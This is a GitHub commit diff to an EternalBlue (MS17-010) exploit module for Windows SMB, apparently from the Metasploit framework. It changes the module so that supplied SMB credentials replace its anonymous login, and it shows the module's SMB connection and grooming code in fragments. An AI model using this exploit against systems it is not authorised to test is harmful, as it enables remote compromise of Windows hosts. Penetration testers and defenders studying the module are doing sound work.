Skip to content

Commit e9ac3fc

Browse files
David MaloneyDavid Maloney
authored andcommitted
update credential mode for EB exploit
ExternalBlue can now just flat out take credentials to authenticate with. If credentials are not supplied then it will still do the anonymous login.
1 parent ee5f37d commit e9ac3fc

File tree

1 file changed

+35
-39
lines changed

1 file changed

+35
-39
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 35 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -29,10 +29,9 @@ def initialize(info = {})
2929
run continuously until triggered. It seems like the pool will get hot streaks
3030
and need a cool down period before the shells rain in again.
3131
32-
The module will attempt to use Anonymous login to authenticate to perform the
33-
exploit. If Anonymous login fails and credentials have been supplied via the
34-
SMBUser, SMBPass, and SMBDomain datastore options, then it will try the exploit
35-
again with those credentials.
32+
The module will attempt to use Anonymous login, by default, to authenticate to perform the
33+
exploit. If the user supplies credentials in the SMBUser,SMBPass, and SMBDomain options it will use
34+
those instead.
3635
},
3736

3837
'Author' => [
@@ -93,9 +92,9 @@ def initialize(info = {})
9392
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
9493
OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ),
9594
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ),
96-
OptString.new('SMBUser', [ false, '(Fallback) The username to authenticate as', '']),
97-
OptString.new('SMBPass', [ false, '(Fallback) The password for the specified username', '']),
98-
OptString.new('SMBDomain', [ false, '(Fallback) The Windows domain to use for authentication', '.']),
95+
OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']),
96+
OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']),
97+
OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']),
9998
])
10099
end
101100

@@ -292,26 +291,15 @@ def smb2_grooms(grooms, payload_hdr_pkt)
292291
def smb1_anonymous_connect_ipc
293292
sock = connect(false)
294293
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
295-
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
294+
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
296295
response_code = client.login
297296

298-
authed = false
299297
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
300-
client = authenticated_login(dispatcher)
301-
authed = true
298+
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}"
302299
end
303300
os = client.peer_native_os
304301

305-
begin
306-
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
307-
rescue RubySMB::Error::UnexpectedStatusCode => e
308-
if authed
309-
raise e
310-
else
311-
client = authenticated_login
312-
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
313-
end
314-
end
302+
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
315303

316304
return client, tree, sock, os
317305
end
@@ -342,7 +330,7 @@ def smb1_large_buffer(client, tree, sock)
342330
def smb1_free_hole(start)
343331
sock = connect(false)
344332
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
345-
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
333+
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
346334
client.negotiate
347335

348336
pkt = ""
@@ -658,25 +646,33 @@ def make_kernel_shellcode
658646

659647
end
660648

661-
def authenticated_login(dispatcher)
662-
if datastore['SMBUser'].present? && datastore['SMBPass'].present?
663-
client = RubySMB::Client.new(
664-
dispatcher,
665-
smb1: true,
666-
smb2: false,
667-
username: datastore['SMBUser'],
668-
password: datastore['SMBPass'],
669-
domain: datastore['SMBDomain']
670-
)
671-
response_code = client.login
672-
673-
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
674-
raise RubySMB::Error::UnexpectedStatusCode, "Error with credentialed login: #{response_code.to_s}"
675-
end
649+
650+
# Returns the value to be passed to SMB clients for
651+
# the password. If the user hs not supplied a password
652+
# it returns an empty string to trigger an anonymous
653+
# logon.
654+
#
655+
# @return [String] the password value
656+
def smb_pass
657+
if datastore['SMBPass'].present?
658+
datastore['SMBPass']
659+
else
660+
''
661+
end
662+
end
663+
664+
# Returns the value to be passed to SMB clients for
665+
# the username. If the user hs not supplied a username
666+
# it returns an empty string to trigger an anonymous
667+
# logon.
668+
#
669+
# @return [String] the username value
670+
def smb_user
671+
if datastore['SMBUser'].present?
672+
datastore['SMBUser']
676673
else
677-
raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login: #{response_code.to_s}"
674+
''
678675
end
679-
client
680676
end
681677

682678
end

0 commit comments

Comments
 (0)